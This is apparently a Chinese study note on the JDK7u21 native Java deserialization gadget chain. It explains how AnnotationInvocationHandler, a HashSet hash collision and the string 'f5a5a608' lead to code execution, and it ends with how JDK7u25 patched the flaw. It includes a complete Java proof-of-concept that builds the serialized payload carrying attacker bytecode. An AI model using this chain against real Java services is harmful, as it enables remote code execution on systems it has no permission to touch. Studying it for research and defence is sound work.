原生反序列化利用链JDK7u21 这篇继续跟着P牛的Java安全漫谈来学习
JDK7u21这条反序列化利用链不依赖于第三方库,适用于Java7u21之前的版本。
JDK7u21安装
JDK7u21核心原理 某条反序列化利用链的核心点在于触发“动态方法执行 ”的地方,而不是TemplatasImpl或者某个类的readObject方法
举个栗子:
CommonsCollectiosn
系列反序列化核心店是那一堆Transformer
,特别是期中的InvokerTransformer
、InstantiateTransformer
CommonsBeanutils反序列化的核心点是PropertyUtils#getProperty
,因为这个方法会触发任意对象的getter 而JDK7u21的核心点就是sun.reflect.annotation.AnnotationInvocationHandler
,之前在反序列化(2) 和反序列化(3) 这两篇中有介绍过但那时只用到了这个类会触发Map#get
和Map#put
的特点
我们下面可以看到AnnotationInvocationHandler
类中的equalsImpl
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private transient volatile Method[] memberMethods = null ;private Boolean equalsImpl (Object var1) { if (var1 == this ) { return true ; } else if (!this .type.isInstance(var1)) { return false ; } else { Method[] var2 = this .getMemberMethods(); int var3 = var2.length; for (int var4 = 0 ; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this .memberValues.get(var6); Object var8 = null ; AnnotationInvocationHandler var9 = this .asOneOfUs(var1); if (var9 != null ) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false ; } catch (IllegalAccessException var12) { throw new AssertionError (var12); } } if (!memberValueEquals(var7, var8)) { return false ; } } return true ; } } private Method[] getMemberMethods() { if (this .memberMethods == null ) { this .memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction <Method[]>() { public Method[] run() { Method[] var1 = AnnotationInvocationHandler.this .type.getDeclaredMethods(); AccessibleObject.setAccessible(var1, true ); return var1; } }); } return this .memberMethods; }
这里有个很明显的反射调用var8 = var5.invoke(var1)
,然后这个var5
来自于var2[var4];
这个var2
又是来自于this.getMemberMethods();
。
也就是说equalsImpl
这个方法是将this.type
类中的所有方法遍历并执行了。那假设this.type
是Templates类,则势必会调用到其中的newTransformer()
或getOutputProperties()
方法,进而触发任意代码执行。
如何调用equalsImpl 现在的任务就是通过反序列化调用equalsImpl
,这是一个私有方法,在AnnotationInvocationHandler#invoke
中被调用
AnnotationInvocationHandler#invoke
在反序列化(3) 这篇中有提到过
InvocationHandler是一个接口,他只有一个方法就是invoke:
1 2 3 4 public interface InvocationHandler { public Object invoke (Object proxy, Method method, Object[] args) throws Throwable; }
在使用java.reflect.Proxy
动态绑定一个接口时,如果调用该接口的任意一个方法会执行到InvocationHandler#invoke
。执行invoke时,被传入的第一个参数是这个proxy对象,第二个参数是被执行的方法,第三个参数是执行时的参数列表
而AnnotationInvocationHandler
就是一个InvocationHandler
接口的实现,我们可以看看它的Invoke方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else { assert var5.length == 0 ; if (var4.equals("toString" )) { return this .toStringImpl(); } else if (var4.equals("hashCode" )) { return this .hashCodeImpl(); } else if (var4.equals("annotationType" )) { return this .type; } else { Object var6 = this .memberValues.get(var4); if (var6 == null ) { throw new IncompleteAnnotationException (this .type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0 ) { var6 = this .cloneArray(var6); } return var6; } } } }
当方法名等于“equals”,且仅有一个Object类型参数时,会调用到equalImpl
方法。所以,现在的问题就变成了我们需要找到一个方法,在反序列化时对proxy调用equals方法
找到equals方法调用链 比较java对象时,我们常用到两个方法:
任意Java对象都拥有equals
方法,它通常用于比较两个对象是否是同一个引用;而compareTo实际上是java.lang.Comparable
接口的方法,通常被实现用于比较两个对象的值是否相等。
所以就会想到用java.util.PriorityQueue
,实际上用的是compareTo而不是equals
另一个常见的会调用equals的场景就是集合set,set中储存的对象不允许重复,所以在添加对象的时候,势必会涉及到比较操作。
我们来查看HashSet的readObject方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this ) instanceof LinkedHashSet ? new LinkedHashMap <E,Object>(capacity, loadFactor) : new HashMap <E,Object>(capacity, loadFactor)); int size = s.readInt(); for (int i=0 ; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); } }
可以看到这里用了一个HashMap,将对象保存在HashMap的key处来做去重。
HashMap,就是数据结构里的哈希表,哈希表是有数组+链表实现的——哈希表底层保存在一个数组中,数组的索引由哈希表的key.hashCode()
经过计算得到,数组的值是一个链表,所有哈希碰撞到相同索引的key-value,都会被链接到这个链表后面。
所以,为了触发比较操作,我们需要让比较与被比较的两个对象的哈希相同,这样才能被链接到同一条链表上,才会进行比较
然后我们跟进下HashMap的put方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public V put (K key, V value) { if (key == null ) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this ); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null ; }
变量i
就是这个所谓的“哈希”。两个不同的对象的i
相等时,才会执行到key.equals(k)
,触发前面说过的代码执行
所以,接下来的目的就是让proxy
对象的“哈希”,等于TemplateImpl对象的“哈希”。
Magic Number 计算“哈希”的主要是下面这两行代码:
1 2 int hash = hash(key);int i = indexFor(hash, table.length);
将其中的关键逻辑提取出来,呢么就可以得到下面这个函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 final int hash (Object k) { int h = 0 ; if (useAltHashing) { if (k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h = hashSeed; } h ^= k.hashCode(); h ^= (h >>> 20 ) ^ (h >>> 12 ); return h ^ (h >>> 7 ) ^ (h >>> 4 ); }
除了这个k.hashCode
外再无其他变量,所以prosy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的hashCode()
是否相等。TemplateImpl的hashCode()
是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的hashCode()
与之相等,只能寄希望于proxy.hsshCode()
。
proxy.hashCode()
仍然会调用到AnnotationInvocationHandler#invoke
,进而调用到AnnotationInvocationHandler#hashCodeImpl
,那我们再来看下这个方法:
1 2 3 4 5 6 7 8 9 10 private int hashCodeImpl () { int var1 = 0 ; Map.Entry var3; for (Iterator var2 = this .memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Map.Entry)var2.next(); } return var1; }
遍历memberValues
这个Map中的每个key和value,计算每个(127 * key.hashCode()) ^ value.hashode
并求和
JDK7u21中使用了一个非常巧妙的方法:
当memberValues
中只有一个key和一个value时,该哈希简化成(127 * key.hashCode()) ^ value.hashCode()
当key.hashCode()
等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成value.hashCodee()
。 当value
就是TemplateImpl对象时,这两个哈希就变成完全相等 所以,我们找到一个hashCode是0的对象作为memberValues
的key,将恶意TemplateImpl对象作为value,这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了。
找一个hashCode是0的对象,我们可以写一个简单的爆破程序来实现:
1 2 3 4 5 6 7 public static void bruteHashCode () { for (long i = 0 ; i < 9999999999L ; i++) { if (Long.toHexString(i).hashCode() == 0 ) { System.out.println(Long.toHexString(i)); } } }
跑出来第一个是 f5a5a608 ,这个也是ysoserial中用到的字符串。
梳理利用链 到这整个利用的过程就清晰了,按照下面的步骤来构造:
首先生成恶意TemplateImpl
对象 实例化AnnotationInvocationHandler
对象它的type属性是一个TemplateImpl类 它的memberValues属性是一个Map,Map只有一个key和value,key是字符串f5a5a608
,value是前面生成的恶意TemplateImpl对象 对这个AnnotationInvocationHsndler
对象做一层代理,生成proxy对象 实例化一个HashSet,这个HashSet有两个元素,分别是: 将Hashset对象进行实例化 这样反序列化代码执行的流程如下:
触发Hashset的readObject方法,其中使用HashMap的key做去重 去重时计算HashSet中的两个元素的hashCode()
,因为我们的静心构造二者相等,进而触发equals()
方法 调用AnnotationInvocationHandler#equalsImpl
方法 equalsImpl
中遍历this.type
的每个方法并调用因为this.type
是TemplateImpl类,所以触发了newTransform()
或getOutputProperties()
方法 任意代码执行 完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import org.apache.commons.codec.binary.Base64;import javax.xml.transform.Templates;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.HashSet;import java.util.LinkedHashSet;import java.util.Map;public class JDK7u21 { public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(org.example.test.testCalc.class.getName()).toBytecode() }); setFieldValue(templates, "_name" , "HelloTemplatesImpl" ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); String zeroHashCodeStr = "f5a5a608" ; HashMap map = new HashMap (); map.put(zeroHashCodeStr, "foo" ); Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class, Map.class); handlerConstructor.setAccessible(true ); InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map); Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class []{Templates.class}, tempHandler); HashSet set = new LinkedHashSet (); set.add(templates); set.add(proxy); map.put(zeroHashCodeStr, templates); ByteArrayOutputStream barr = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (barr); oos.writeObject(set); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (barr.toByteArray())); Object o = (Object)ois.readObject(); } }
修复 首先有两个问题:
这个利用链是否影响JDK6和JDK8,具体影响那些小版本 JDK7u21以上的版本时如何修复这个问题的 第一个问题,Java的版本时分之开发的,这样意味着并不是JDK7的所有东西都比JDK6新,所以不能认为JDK6一定都受影响
Oracle JDK6一共发布了30多个公开的版本,最后一个是6u45,在2013年发布。此后,Oracle公司就不再发布免费的更新了,但是付费用户仍然可以获得Java 6的更新,最新的Java 6版本是6u221。
其中,公开版本的最新版6u45仍然存在这条利用链,大概是6u51的时候修复了这个漏洞,但是这个结论不能肯定,因为免费用户下载不到这个版本。
JDK8在发布时,JDK7已经修复了这个问题,所以JDK8全都不受影响
那么官方在JDK7u25中是如何修复这个问题的:8001309: Better handling of annotation interfaces · openjdk/jdk7u@b3dd610 · GitHub
在sun.reflect.annotation.AnnotationInvocationHandler
类的readObject函数中,原本有一个this.type
的检查,在其不是AnnotationType的情况下,会抛出一个异常。但是,捕获到异常后没做任何事情,只是将这个函数返回了,这样并不会影响整个反序列化的执行过程。
新版中就将return
改成了throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream")
这样反序列化时就会出现一个异常,导致整个过程停止。
但实际上仍然也存在问题,那就是下一篇要说的另一条原生反序列化链JDK8u20.